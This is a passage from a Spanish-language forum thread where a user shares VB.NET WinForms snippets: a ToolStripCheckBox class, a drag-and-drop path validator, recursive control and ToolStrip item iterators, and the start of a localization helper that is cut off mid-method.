Modo de empleo utilizado en la imagen de demostración:
Código
  1. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  2.    Me.TabControl1.HideTabheaders()
  3. End Sub
  4.  
  5. Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
  6.    Me.TabControl1.ShowTabheaders(TabSizeMode.Normal)
  7. End Sub


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Abril 2024, 06:49 am
Les traigo una clase que he desarrollado, por nombre ToolStripCheckBox, cuyo nombre es autoexplicativo, pues se trata de un CheckBox que podemos usar en un componente ToolStrip y StatusStrip:

(http://i.imgur.com/V9hybqtl.png) (https://i.imgur.com/V9hybqt.png)

(http://i.imgur.com/3sKwd4tl.png) (https://i.imgur.com/3sKwd4t.png)

Código
  1. #Region " Imports "
  2.  
  3. Imports System.ComponentModel
  4. Imports System.ComponentModel.Design
  5. Imports System.Runtime.InteropServices
  6. Imports System.Windows.Forms.Design
  7.  
  8. #End Region
  9.  
  10. #Region " ToolStripCheckBox "
  11.  
  12. ''' <summary>
  13. ''' Represents a selectable <see cref="ToolStripItem"/> that when clicked, toggles a checkmark.
  14. ''' </summary>
  15. ''' <seealso cref="ToolStripControlHost"/>
  16. <
  17.    ClassInterface(ClassInterfaceType.AutoDispatch),
  18.    ComVisible(True),
  19.    DebuggerStepThrough,
  20.    DefaultEvent(NameOf(ToolStripCheckBox.CheckedChanged)),
  21.    DefaultProperty(NameOf(ToolStripCheckBox.Text)),
  22.    Description("Represents a selectable ToolStripItem that when clicked, toggles a checkmark."),
  23.    Designer("System.Windows.Forms.Design.ToolStripItemDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"),
  24.    DesignerCategory(NameOf(DesignerCategoryAttribute.Generic)),
  25.    DesignTimeVisible(False),
  26.    DisplayName(NameOf(ToolStripCheckBox)),
  27.    Localizable(True),
  28.    ToolboxBitmap(GetType(CheckBox), "CheckBox.bmp"),
  29.    ToolboxItem(False),
  30.    ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Allow),
  31.    ToolStripItemDesignerAvailability(ToolStripItemDesignerAvailability.ToolStrip Or ToolStripItemDesignerAvailability.StatusStrip)
  32. >
  33. Public Class ToolStripCheckBox : Inherits ToolStripControlHost
  34.  
  35. #Region " Properties "
  36.  
  37.    ''' <summary>
  38.    ''' Gets the <see cref="CheckBox"/> control that is hosted by this <see cref="ToolStripCheckBox"/>.
  39.    ''' </summary>
  40.    <
  41.        Browsable(True), EditorBrowsable(EditorBrowsableState.Advanced),
  42.        DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
  43.        Category("Hosted"), Description("The CheckBox control that is hosted by this control.")
  44.    >
  45.    Public Shadows ReadOnly Property Control As CheckBox
  46.        Get
  47.            Return DirectCast(MyBase.Control, CheckBox)
  48.        End Get
  49.    End Property
  50.  
  51.    ''' <summary>
  52.    ''' Gets or sets a value indicating whether this <see cref="ToolStripCheckBox"/> is in the checked state.
  53.    ''' </summary>
  54.    '''
  55.    ''' <returns>
  56.    ''' <see langword="True"/> if checked; otherwise, <see langword="False"/>.
  57.    ''' </returns>
  58.    <
  59.        Bindable(True), SettingsBindable(True),
  60.        DefaultValue(False),
  61.        RefreshProperties(RefreshProperties.All),
  62.        Category("Appearance"), Description("Specifies whether this control is in the checked state.")
  63.    >
  64.    Public Property Checked As Boolean
  65.        Get
  66.            Return Me.Control.Checked
  67.        End Get
  68.        Set(value As Boolean)
  69.            Me.Control.Checked = value
  70.        End Set
  71.    End Property
  72.  
  73.    ''' <summary>
  74.    ''' Gets or sets the checked state of this <see cref="ToolStripCheckBox"/>.
  75.    ''' </summary>
  76.    '''
  77.    ''' <returns>
  78.    ''' One of the <see cref="System.Windows.Forms.CheckState"/> enumeration values.
  79.    ''' <para></para>
  80.    ''' The default value is <see cref="System.Windows.Forms.CheckState.Unchecked"/>.
  81.    ''' </returns>
  82.    '''
  83.    ''' <exception cref="System.ComponentModel.InvalidEnumArgumentException">
  84.    ''' The value assigned is not one of the <see cref="System.Windows.Forms.CheckState"/> enumeration values.
  85.    ''' </exception>
  86.    <
  87.        Bindable(True),
  88.        DefaultValue(CheckState.Unchecked),
  89.        RefreshProperties(RefreshProperties.All),
  90.        Category("Appearance"), Description("Specifies the checked state of this control.")
  91.    >
  92.    Public Property CheckState As CheckState
  93.        Get
  94.            Return Me.Control.CheckState
  95.        End Get
  96.        Set(value As CheckState)
  97.            Me.Control.CheckState = value
  98.        End Set
  99.    End Property
  100.  
  101.    ''' <summary>
  102.    ''' Gets or sets a value indicating whether this <see cref="ToolStripCheckBox"/>
  103.    ''' will allow three check states rather than two.
  104.    ''' </summary>
  105.    '''
  106.    ''' <remarks>
  107.    ''' If the <see cref="ToolStripCheckBox.ThreeState"/> property is set to <see langword="False"/>,
  108.    ''' the <see cref="ToolStripCheckBox.CheckState"/> property value can only be set to
  109.    ''' the <see cref="System.Windows.Forms.CheckState.Indeterminate"/> value in code,
  110.    ''' and not by user interaction doing click on the control.
  111.    ''' </remarks>
  112.    '''
  113.    ''' <returns>
  114.    ''' <see langword="True"/> if this <see cref="ToolStripCheckBox"/>
  115.    ''' is able to display three check states; otherwise, <see langword="False"/>.
  116.    ''' <para></para>
  117.    ''' The default value is <see langword="False"/>.
  118.    ''' </returns>
  119.    <
  120.        DefaultValue(False),
  121.        Category("Behavior"), Description("Specifies whether this control will allow three check states rather than two.")
  122.    >
  123.    Public Property ThreeState As Boolean
  124.        Get
  125.            Return Me.Control.ThreeState
  126.        End Get
  127.        Set(value As Boolean)
  128.            Me.Control.ThreeState = value
  129.        End Set
  130.    End Property
  131.  
  132. #End Region
  133.  
  134. #Region " Events "
  135.  
  136.    ''' <summary>
  137.    ''' Occurs whenever the <see cref="ToolStripCheckBox.Checked"/> property is changed.
  138.    ''' </summary>
  139.    Public Event CheckedChanged As EventHandler
  140.  
  141.    ''' <summary>
  142.    ''' Occurs whenever the <see cref="ToolStripCheckBox.CheckState"/> property is changed.
  143.    ''' </summary>
  144.    Public Event CheckStateChanged As EventHandler
  145.  
  146. #End Region
  147.  
  148. #Region " Constructors "
  149.  
  150.    ''' <summary>
  151.    ''' Initializes a new instance of the <see cref="ToolStripCheckBox"/> class.
  152.    ''' </summary>
  153.    Public Sub New()
  154.  
  155.        MyBase.New(New CheckBox())
  156.        Me.Control.BackColor = Color.Transparent
  157.    End Sub
  158.  
  159. #End Region
  160.  
  161. #Region " Event Invocators "
  162.  
  163.    ''' <summary>
  164.    ''' Raises the <see cref="ToolStripCheckBox.CheckedChanged"/> event.
  165.    ''' </summary>
  166.    '''
  167.    ''' <param name="sender">
  168.    ''' The source of the event.
  169.    ''' </param>
  170.    '''
  171.    ''' <param name="e">
  172.    ''' The <see cref="EventArgs"/> instance containing the event data.
  173.    ''' </param>
  174.    Private Sub OnCheckedChanged(sender As Object, e As EventArgs)
  175.        If Me.CheckedChangedEvent IsNot Nothing Then
  176.            RaiseEvent CheckedChanged(Me, e)
  177.        End If
  178.    End Sub
  179.  
  180.    ''' <summary>
  181.    ''' Raises the <see cref="ToolStripCheckBox.CheckStateChanged"/> event.
  182.    ''' </summary>
  183.    '''
  184.    ''' <param name="sender">
  185.    ''' The source of the event.
  186.    ''' </param>
  187.    '''
  188.    ''' <param name="e">
  189.    ''' The <see cref="EventArgs"/> instance containing the event data.
  190.    ''' </param>
  191.    Private Sub OnCheckStateChanged(sender As Object, e As EventArgs)
  192.        If Me.CheckStateChangedEvent IsNot Nothing Then
  193.            RaiseEvent CheckStateChanged(Me, e)
  194.        End If
  195.    End Sub
  196.  
  197. #End Region
  198.  
  199. #Region " Event Invocators (Overriden) "
  200.  
  201.    ''' <summary>
  202.    ''' Subscribes events from the hosted control
  203.    ''' </summary>
  204.    '''
  205.    ''' <param name="control">
  206.    ''' The control from which to subscribe events.
  207.    ''' </param>
  208.    Protected Overrides Sub OnSubscribeControlEvents(control As Control)
  209.        MyBase.OnSubscribeControlEvents(control)
  210.        AddHandler DirectCast(control, CheckBox).CheckedChanged, AddressOf Me.OnCheckedChanged
  211.    End Sub
  212.  
  213.    ''' <summary>
  214.    ''' Unsubscribes events from the hosted control
  215.    ''' </summary>
  216.    '''
  217.    ''' <param name="control">
  218.    ''' The control from which to unsubscribe events.
  219.    ''' </param>
  220.    Protected Overrides Sub OnUnsubscribeControlEvents(control As Control)
  221.        MyBase.OnUnsubscribeControlEvents(control)
  222.        RemoveHandler DirectCast(control, CheckBox).CheckedChanged, AddressOf Me.OnCheckedChanged
  223.    End Sub
  224.  
  225.    ''' <summary>
  226.    ''' Raises the <see cref="Windows.Forms.Control.ParentChanged"/> event.
  227.    ''' </summary>
  228.    '''
  229.    ''' <param name="oldParent">
  230.    ''' The original parent of the item.
  231.    ''' </param>
  232.    '''
  233.    ''' <param name="newParent">
  234.    ''' The new parent of the item.
  235.    ''' </param>
  236.    Protected Overrides Sub OnParentChanged(oldParent As ToolStrip, newParent As ToolStrip)
  237.        MyBase.OnParentChanged(oldParent, newParent)
  238.    End Sub
  239.  
  240.    ''' <summary>
  241.    ''' Raises the <see cref="ToolStripItem.OwnerChanged"/> event.
  242.    ''' </summary>
  243.    '''
  244.    ''' <param name="e">
  245.    ''' The <see cref="EventArgs"/> instance containing the event data.
  246.    ''' </param>
  247.    Protected Overrides Sub OnOwnerChanged(e As EventArgs)
  248.        MyBase.OnOwnerChanged(e)
  249.    End Sub
  250.  
  251. #End Region
  252.  
  253. End Class
  254.  
  255. #End Region


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Abril 2024, 12:59 pm
Un simple validador de rutas de archivos y directorios para operaciones de arrastrar y soltar (Drag&Drop) sobre un control, que nos permite indicar si se debe permitir arrastrar múltiples rutas, y opcionalmente la extensión de los archivos que se deben permitir.

El método de validación es sencillo de adaptar a otros escenarios, y nos puede ahorrar mucho tiempo repitiendo código para este tipo de validaciones.

Código
  1. ''' <summary>
  2. ''' Specifies the type of paths that can be dragged in a drag&amp;drop operation.
  3. ''' </summary>
  4. Public Enum PathDragType
  5.  
  6.        ''' <summary>
  7.        ''' Only files can be dragged.
  8.        ''' </summary>
  9.        Files
  10.  
  11.        ''' <summary>
  12.        ''' Only directories can be dragged.
  13.        ''' </summary>
  14.        Directories
  15.  
  16.        ''' <summary>
  17.        ''' Both files and directories can be dragged.
  18.        ''' </summary>
  19.        Any
  20.  
  21. End Enum
  22.  
  23. ''' <summary>
  24. ''' Validates the <see cref="IDataObject"/> for a file or directory drag operation,
  25. ''' and returns the appropriate <see cref="DragDropEffects"/>.
  26. ''' <para></para>
  27. ''' This function should be called on the <see cref="Control.DragEnter"/> event handler of a control,
  28. ''' to assign its return value for the <see cref="DragEventArgs.Effect"/> property.
  29. ''' </summary>
  30. '''
  31. ''' <example> This is a code example that shows how to validate a drag operation for a single file matching the specified file extensions.
  32. ''' <code language="VB">
  33. ''' Private Sub TextBox1_DragEnter(sender As Object, e As DragEventArgs) Handles TextBox1.DragEnter
  34. '''
  35. '''     Dim allowedFileExtensions As String() = {"avi", "mkv", "mp4"}
  36. '''     e.Effect = ValidatePathDrag(e.Data, PathDragType.Files, allowMultiplePaths:=False, allowedFileExtensions)
  37. ''' End Sub
  38. '''
  39. ''' Private Sub TextBox1_DragDrop(sender As Object, e As DragEventArgs) Handles TextBox1.DragDrop
  40. '''
  41. '''     If e.Data.GetDataPresent(DataFormats.FileDrop) AndAlso e.Effect = DragDropEffects.Copy Then
  42. '''         Dim singleFilePath As String = DirectCast(e.Data.GetData(DataFormats.FileDrop), String()).SingleOrDefault()
  43. '''
  44. '''         Dim tb As TextBox = DirectCast(sender, TextBox)
  45. '''         tb.Text = singleFilePath
  46. '''     End If
  47. ''' End Sub
  48. ''' </code>
  49. ''' </example>
  50. '''
  51. ''' <param name="data">
  52. ''' The source <see cref="IDataObject"/> object to validate,
  53. ''' typically the object retrieved from <see cref="DragEventArgs.Data"/> property.
  54. ''' </param>
  55. '''
  56. ''' <param name="allowedDragType">
  57. ''' A <see cref="PathDragType"/> value that indicates the
  58. ''' type of paths allowed for the drag operation (files, directories, or any).
  59. ''' </param>
  60. '''
  61. ''' <param name="allowMultiplePaths">
  62. ''' A <see cref="Boolean"/> value indicating whether dragging multiple paths are allowed for the drag operation.
  63. ''' <para></para>
  64. ''' If this value is <see langword="False"/> and the <paramref name="data"/> object
  65. ''' contains multiple paths, <see cref="DragDropEffects.None"/> is returned.
  66. ''' </param>
  67. '''
  68. ''' <param name="allowedFileExtensions">
  69. ''' Optional. An array of file extensions to allow in a file drag operation. By default, all file extensions are allowed.
  70. ''' <para></para>
  71. ''' If any of the file paths contained in the <paramref name="data"/> object does not match
  72. ''' the specified allowed file extensions, <see cref="DragDropEffects.None"/> is returned.
  73. ''' <para></para>
  74. ''' This parameter has no effect for directories contained in the <paramref name="data"/> object.
  75. ''' </param>
  76. '''
  77. ''' <returns>
  78. ''' Returns <see cref="DragDropEffects.Copy"/> If the drag validation was successful;
  79. ''' otherwise, returns <see cref="DragDropEffects.None"/>.
  80. ''' </returns>
  81. <DebuggerStepThrough>
  82. Public Shared Function ValidatePathDrag(data As IDataObject,
  83.                                        allowedDragType As PathDragType,
  84.                                        allowMultiplePaths As Boolean,
  85.                                        ParamArray allowedFileExtensions As String()) As DragDropEffects
  86.  
  87.    Dim dataObject As DataObject = DirectCast(data, DataObject)
  88.    If dataObject.ContainsFileDropList() Then
  89.        Dim filePathList As New List(Of String)
  90.        Dim pathList As StringCollection = dataObject.GetFileDropList()
  91.        Dim pathListlength As Integer = pathList.Count
  92.  
  93.        ' Single/multiple path validation.
  94.        If (Not allowMultiplePaths AndAlso pathListlength > 1) Then
  95.            Return DragDropEffects.None
  96.        End If
  97.  
  98.        Select Case allowedDragType
  99.  
  100.            ' Fails if path list contains any file.
  101.            Case PathDragType.Directories
  102.                For Each path As String In pathList
  103.                    If File.Exists(path) Then
  104.                        Return DragDropEffects.None
  105.                    End If
  106.                Next
  107.  
  108.            ' Fails if path list contains any directory.
  109.            Case PathDragType.Files, PathDragType.Any
  110.                For Each path As String In pathList
  111.                    If Directory.Exists(path) Then
  112.                        Return DragDropEffects.None
  113.                    End If
  114.                    ' Build the list of file paths, excluding any directory from the path list.
  115.                    filePathList.Add(path)
  116.                Next
  117.  
  118.        End Select
  119.  
  120.        If allowedFileExtensions?.Any() AndAlso filePathList.Any() Then
  121.            ' Trims the dot and white spaces to ensure that malformed file extension strings are corrected (eg. " .jpg"  -> "jpg").
  122.            Dim allowedFileExtensionsLower As IEnumerable(Of String) =
  123.                        From ext As String In allowedFileExtensions Select ext.TrimStart({"."c, " "c}).ToLower()
  124.  
  125.            For Each filePath As String In filePathList
  126.                ' Trims the dot from file extension strings (eg. ".jpg" -> "jpg").
  127.                Dim fileExtLower As String = IO.Path.GetExtension(filePath).TrimStart("."c).ToLower()
  128.                If Not allowedFileExtensionsLower.Contains(fileExtLower) Then
  129.                    Return DragDropEffects.None
  130.                End If
  131.            Next
  132.        End If
  133.  
  134.        Return DragDropEffects.Copy
  135.    End If
  136.  
  137.    Return DragDropEffects.None
  138. End Function
  139.  



Aquí muestro un ejemplo de uso, donde establezco que solamente se acepte arrastrar un archivo, y siempre y cuando ese archivo tenga la extensión avi, mp4 o mkv:

Código
  1. Private Sub TextBox1_DragEnter(sender As Object, e As DragEventArgs) Handles TextBox1.DragEnter
  2.    Dim allowedFileExtensions As String() = {"avi", "mkv", "mp4"}
  3.    e.Effect = ValidatePathDrag(e.Data, PathDragType.Files, allowMultiplePaths:=False, allowedFileExtensions)
  4. End Sub
  5.  
  6. Private Sub TextBox1_DragDrop(sender As Object, e As DragEventArgs) Handles TextBox1.DragDrop
  7.    Dim singleFilePath As String = DirectCast(e.Data.GetData(DataFormats.FileDrop), String()).Single()
  8.  
  9.    Dim tb As TextBox = DirectCast(sender, TextBox)
  10.    tb.Text = singleFilePath
  11. End Sub


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 12 Abril 2024, 05:06 am
Dos métodos de extensión para iterar todos los items (ToolStripItem) de un control de tipo ToolStrip, StatusStrip, MenuStrip o ContextMenuStrip, opcionalmente de forma recursiva (sin recursión de método), y llevar a cabo una acción específica sobre cada item:

Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 12-April-2024
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' ToolStrip.ForEachItem(Boolean, Action(Of ToolStripItem))
  9. ' ToolStrip.ForEachItem(Of T As ToolStripItem)(Boolean, Action(Of T))
  10.  
  11. #End Region
  12.  
  13. #Region " Option Statements "
  14.  
  15. Option Strict On
  16. Option Explicit On
  17. Option Infer Off
  18.  
  19. #End Region
  20.  
  21. #Region " Imports "
  22.  
  23. Imports System.Collections.Generic
  24. Imports System.Linq
  25. Imports System.Runtime.CompilerServices
  26. Imports System.Windows.Forms
  27.  
  28. #If Not NETCOREAPP Then
  29. Imports DevCase.ProjectMigration
  30. #Else
  31. Imports System.Runtime.Versioning
  32. #End If
  33. #End Region
  34.  
  35. #Region " ToolStrip Extensions "
  36.  
  37. ' ReSharper disable once CheckNamespace
  38.  
  39. Namespace DevCase.Extensions.ToolStripExtensions
  40.  
  41. ''' ----------------------------------------------------------------------------------------------------
  42. ''' <summary>
  43. ''' Provides custom extension methods to use with <see cref="System.Windows.Forms.ToolStrip"/> class.
  44. ''' </summary>
  45. ''' ----------------------------------------------------------------------------------------------------
  46. <HideModuleName>
  47. Public Module ToolStripExtensions
  48.  
  49. #Region " Public Extension Methods "
  50.  
  51. ''' ---------------------------------------------------------------------------------------------------
  52. ''' <summary>
  53. ''' Iterates through all the items of the specified type within the source <see cref="ToolStrip"/> control,
  54. ''' optionally recursively, and performs the specified action on each item.
  55. ''' </summary>
  56. ''' ---------------------------------------------------------------------------------------------------
  57. ''' <param name="toolStrip">
  58. ''' The <see cref="ToolStrip"/> control whose items are to be iterated.
  59. ''' </param>
  60. '''
  61. ''' <param name="recursive">
  62. ''' <see langword="True"/> to iterate recursively through all items
  63. ''' (i.e., iterate the child items of child items); otherwise, <see langword="False"/>.
  64. ''' </param>
  65. '''
  66. ''' <param name="action">
  67. ''' The action to perform on each item.
  68. ''' </param>
  69. ''' ---------------------------------------------------------------------------------------------------
  70. <Extension>
  71. <DebuggerStepThrough>
  72. <EditorBrowsable(EditorBrowsableState.Always)>
  73. Public Sub ForEachItem(toolStrip As ToolStrip, recursive As Boolean, action As Action(Of ToolStripItem))
  74.    ToolStripExtensions.ForEachItem(Of ToolStripItem)(toolStrip, recursive, action)
  75. End Sub
  76.  
  77. ''' ---------------------------------------------------------------------------------------------------
  78. ''' <summary>
  79. ''' Iterates through all the items of the specified type within the source <see cref="ToolStrip"/> control,
  80. ''' optionally recursively, and performs the specified action on each item.
  81. ''' </summary>
  82. ''' ---------------------------------------------------------------------------------------------------
  83. ''' <typeparam name="T">
  84. ''' The type of items to iterate through.
  85. ''' </typeparam>
  86. '''
  87. ''' <param name="toolStrip">
  88. ''' The <see cref="ToolStrip"/> control whose items are to be iterated.
  89. ''' </param>
  90. '''
  91. ''' <param name="recursive">
  92. ''' <see langword="True"/> to iterate recursively through all items
  93. ''' (i.e., iterate the child items of child items); otherwise, <see langword="False"/>.
  94. ''' </param>
  95. '''
  96. ''' <param name="action">
  97. ''' The action to perform on each item.
  98. ''' </param>
  99. ''' ---------------------------------------------------------------------------------------------------
  100. <Extension>
  101. <DebuggerStepThrough>
  102. <EditorBrowsable(EditorBrowsableState.Always)>
  103. Public Sub ForEachItem(Of T As ToolStripItem)(toolStrip As ToolStrip, recursive As Boolean, action As Action(Of T))
  104.    If action Is Nothing Then
  105.        Throw New ArgumentNullException(paramName:=NameOf(action), "Action cannot be null.")
  106.    End If
  107.  
  108.    Dim queue As New Queue(Of ToolStripItem)
  109.  
  110.    ' First level items iteration.
  111.    For Each item As ToolStripItem In toolStrip.Items
  112.        If recursive Then
  113.            queue.Enqueue(item)
  114.        Else
  115.            If TypeOf item Is T Then
  116.                action.Invoke(DirectCast(item, T))
  117.            End If
  118.        End If
  119.    Next item
  120.  
  121.    ' Recursive items iteration.
  122.    While queue.Any()
  123.        Dim currentItem As ToolStripItem = queue.Dequeue()
  124.        If TypeOf currentItem Is T Then
  125.            action.Invoke(DirectCast(currentItem, T))
  126.        End If
  127.  
  128.        If TypeOf currentItem Is ToolStripDropDownItem Then
  129.            Dim dropDownItem As ToolStripDropDownItem = DirectCast(currentItem, ToolStripDropDownItem)
  130.            For Each subItem As ToolStripItem In dropDownItem.DropDownItems
  131.                queue.Enqueue(subItem)
  132.            Next subItem
  133.        End If
  134.    End While
  135. End Sub
  136.  
  137. #End Region
  138.  
  139. End Module
  140.  
  141. End Namespace
  142.  
  143. #End Region



Otros dos métodos para iterar los controles hijo de un control padre (el control padre puede ser de tipo Form, ContainerControl, Control, etc), opcionalmente de forma recursiva (sin recursión de método), y poder llevar a cabo una acción específica sobre cada control:

Código
  1. <HideModuleName>
  2. public module ControlExtensions
  3.  
  4.    ''' ---------------------------------------------------------------------------------------------------
  5.    ''' <summary>
  6.    ''' Iterates through all controls within a parent <see cref="Control"/>,
  7.    ''' optionally recursively, and performs the specified action on each control.
  8.    ''' </summary>
  9.    ''' ---------------------------------------------------------------------------------------------------
  10.    ''' <param name="parentControl">
  11.    ''' The parent <see cref="Control"/> whose child controls are to be iterated.
  12.    ''' </param>
  13.    '''
  14.    ''' <param name="recursive">
  15.    ''' <see langword="True"/> to iterate recursively through all child controls
  16.    ''' (i.e., iterate the child controls of child controls); otherwise, <see langword="False"/>.
  17.    ''' </param>
  18.    '''
  19.    ''' <param name="action">
  20.    ''' The action to perform on each control.
  21.    ''' </param>
  22.    ''' ---------------------------------------------------------------------------------------------------
  23.    <DebuggerStepThrough>
  24.    <Extension>
  25.    <EditorBrowsable(EditorBrowsableState.Always)>
  26.    Public Sub ForEachControl(parentControl As Control, recursive As Boolean, action As Action(Of Control))
  27.        ControlExtensions.ForEachControl(Of Control)(parentControl, recursive, action)
  28.    End Sub
  29.  
  30.    ''' ---------------------------------------------------------------------------------------------------
  31.    ''' <summary>
  32.    ''' Iterates through all controls of the specified type within a parent <see cref="Control"/>,
  33.    ''' optionally recursively, and performs the specified action on each control.
  34.    ''' </summary>
  35.    ''' ---------------------------------------------------------------------------------------------------
  36.    ''' <typeparam name="T">
  37.    ''' The type of child controls to iterate through.
  38.    ''' </typeparam>
  39.    '''
  40.    ''' <param name="parentControl">
  41.    ''' The parent <see cref="Control"/> whose child controls are to be iterated.
  42.    ''' </param>
  43.    '''
  44.    ''' <param name="recursive">
  45.    ''' <see langword="True"/> to iterate recursively through all child controls
  46.    ''' (i.e., iterate the child controls of child controls); otherwise, <see langword="False"/>.
  47.    ''' </param>
  48.    '''
  49.    ''' <param name="action">
  50.    ''' The action to perform on each control.
  51.    ''' </param>
  52.    ''' ---------------------------------------------------------------------------------------------------
  53.    <DebuggerStepThrough>
  54.    <Extension>
  55.    <EditorBrowsable(EditorBrowsableState.Always)>
  56.    Public Sub ForEachControl(Of T As Control)(parentControl As Control, recursive As Boolean, action As Action(Of T))
  57.  
  58.        If TypeOf parentControl Is ToolStrip Then
  59.            Throw New InvalidOperationException($"Not allowed. Please use method {NameOf(ToolStripExtensions.ForEachItem)} to iterate items of a {NameOf(ToolStrip)}, {NameOf(StatusStrip)}, {NameOf(MenuStrip)} or {NameOf(Control.ContextMenuStrip)} controls.")
  60.        End If
  61.  
  62.        If action Is Nothing Then
  63.            Throw New ArgumentNullException(paramName:=NameOf(action), "Action cannot be null.")
  64.        End If
  65.  
  66.        Dim queue As New Queue(Of Control)
  67.  
  68.        ' First level items iteration.
  69.        For Each control As Control In parentControl.Controls
  70.            If recursive Then
  71.                queue.Enqueue(control)
  72.            Else
  73.                If TypeOf control Is T Then
  74.                    action.Invoke(DirectCast(control, T))
  75.                End If
  76.            End If
  77.        Next control
  78.  
  79.        ' Recursive items iteration.
  80.        While queue.Any()
  81.            Dim currentControl As Control = queue.Dequeue()
  82.            If TypeOf currentControl Is T Then
  83.                action.Invoke(DirectCast(currentControl, T))
  84.            End If
  85.  
  86.            For Each childControl As Control In currentControl.Controls
  87.                queue.Enqueue(childControl)
  88.            Next childControl
  89.        End While
  90.  
  91.    End Sub
  92.  
  93. end module


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 15 Abril 2024, 12:40 pm
El siguiente método sirve para aplicar, de forma automatizada, y recursivamente, los recursos aplicables de localización para un Form específico, o para todos los Forms visibles de la aplicación actual.

En otras palabras, el siguiente método sirve para automatizar un cambio de idioma en nuestra aplicación, y tan solo necesitando una línea de código para llamar a dicho método...

(https://i.imgur.com/O8019JW.gif)

He tenido que desarrollar este método, por que todas las alternativas que hay disponibles por Internet son muy básicas e ineficientes, ya que se limitan a iterar los controles y controles hijo, mientras que mi implementación además también itera los menús y sus items de forma recursiva, y los componentes de un form (como un NotifyIcon).



Ejemplos de uso:

Código
  1. ' Aplica recursos de localización a un form específico
  2. Dim form As Form = Me
  3. Dim cultureName As String = "es-ES"
  4. ApplyCultureResources(form, cultureName)

Código
  1. ' Aplica recursos de localización a todos los forms de la aplicación
  2. Dim cultureName As String = "es-ES"
  3. ApplyCultureResources(cultureName)

Salida de depuración (ejemplo limitado):

Cambio de idioma a Inglés:
Código:
Culture: English (en), Component: Form1                 , Text: My Form
Culture: English (en), Component: Button1               , Text: My Button
Culture: English (en), Component: ToolStrip1            , Text: (null)
Culture: English (en), Component: ToolStripStatusLabel1 , Text: Testing
Culture: English (en), Component: MenuStrip1            , Text: (null)
Culture: English (en), Component: ToolStripMenuItem1    , Text: One
Culture: English (en), Component: ToolStripMenuItem2    , Text: Two
Culture: English (en), Component: TabControl1           , Text: (null)
Culture: English (en), Component: TabPage1              , Text: Page 1
Culture: English (en), Component: TabPage2              , Text: Page 2
Culture: English (en), Component: NotifyIcon1           , Text: Icon

Cambio de idioma a Español:
Código:
Culture: Spanish (es), Component: Form1                 , Text: Mi Form
Culture: Spanish (es), Component: Button1               , Text: Mi Botón
Culture: Spanish (es), Component: ToolStrip1            , Text: (null)
Culture: Spanish (es), Component: ToolStripStatusLabel1 , Text: Probando
Culture: Spanish (es), Component: MenuStrip1            , Text: (null)
Culture: Spanish (es), Component: ToolStripMenuItem1    , Text: Uno
Culture: Spanish (es), Component: ToolStripMenuItem2    , Text: Dos
Culture: Spanish (es), Component: TabControl1           , Text: (null)
Culture: Spanish (es), Component: TabPage1              , Text: Página 1
Culture: Spanish (es), Component: TabPage2              , Text: Página 2
Culture: Spanish (es), Component: NotifyIcon1           , Text: Icono



IMPORTANTE: el siguiente método depende de los métodos de extensión ForEachControl y ForEachItem que compartí en el post anterior de este hilo:

Cita de: https://foro.elhacker.net/net_c_vbnet_asp/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2278467#msg2278467
Dos métodos de extensión para iterar todos los items (ToolStripItem) de un control...

Otros dos métodos para iterar los controles hijo de un control... (https://foro.elhacker.net/net_c_vbnet_asp/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2278467#msg2278467)

Y también depende de este otro método de extensión:

Código
  1. ''' <summary>
  2. ''' Provides extension methods for the <see cref="WinForms.IContainerControl"/> interface.
  3. ''' </summary>
  4. <HideModuleName>
  5. Public Module IContainerControlExtensions
  6.  
  7.  
  8.    ''' <summary>
  9.    ''' Gets the underlying <see cref="System.ComponentModel.ComponentCollection"/> collection
  10.    ''' of the source <see cref="IContainerControl"/>.
  11.    ''' </summary>
  12.    '''
  13.    ''' <param name="container">
  14.    ''' The source <see cref="IContainerControl"/>.
  15.    ''' </param>
  16.    '''
  17.    ''' <returns>
  18.    ''' The underlying <see cref="System.ComponentModel.ComponentCollection"/> collection
  19.    ''' of the source <see cref="IContainerControl"/>.
  20.    ''' </returns>
  21.    <DebuggerStepThrough>
  22.    <Extension>
  23.    <EditorBrowsable(EditorBrowsableState.Always)>
  24.    Public Function GetComponentCollection(container As IContainerControl) As ComponentCollection
  25.        Dim type As Type = container.GetType()
  26.        Dim componentsField As FieldInfo = type.GetField("components", BindingFlags.NonPublic Or BindingFlags.Instance)
  27.  
  28.        If componentsField Is Nothing Then
  29.            Throw New InvalidOperationException("""components"" field was not found through Reflection.")
  30.        End If
  31.  
  32.        Dim containerComponents As IContainer = TryCast(componentsField.GetValue(container), IContainer)
  33.        Return containerComponents?.Components
  34.    End Function
  35.  
  36. End Module



El código:

Código
  1. ''' <summary>
  2. ''' This method sets the current UI culture to the specified culture name,
  3. ''' then applies culture-specific resources to the specified <see cref="Form"/>,
  4. ''' to its controls and child controls, including menus and their items, and
  5. ''' the components in the form's <see cref="ComponentCollection"/>, recursively.
  6. ''' </summary>
  7. '''
  8. ''' <example> This is a code example.
  9. ''' <code language="VB">
  10. ''' Dim form As Form = Me
  11. ''' Dim cultureName As String = "es-ES"
  12. ''' ApplyCultureResources(form, cultureName)
  13. ''' </code>
  14. ''' </example>
  15. '''
  16. ''' <param name="form">
  17. ''' The form to apply resources to.
  18. ''' </param>
  19. '''
  20. ''' <param name="cultureName">
  21. ''' The culture name of the resources to apply.
  22. ''' </param>
  23. Public Shared Sub ApplyCultureResources(form As Form, cultureName As String)
  24.  
  25.    Dim culture As CultureInfo = CultureInfo.GetCultureInfo(cultureName)
  26. #If Not NETCOREAPP Then
  27.            My.Application.ChangeUICulture(cultureName)
  28. #Else
  29.            Thread.CurrentThread.CurrentUICulture = culture
  30. #End If
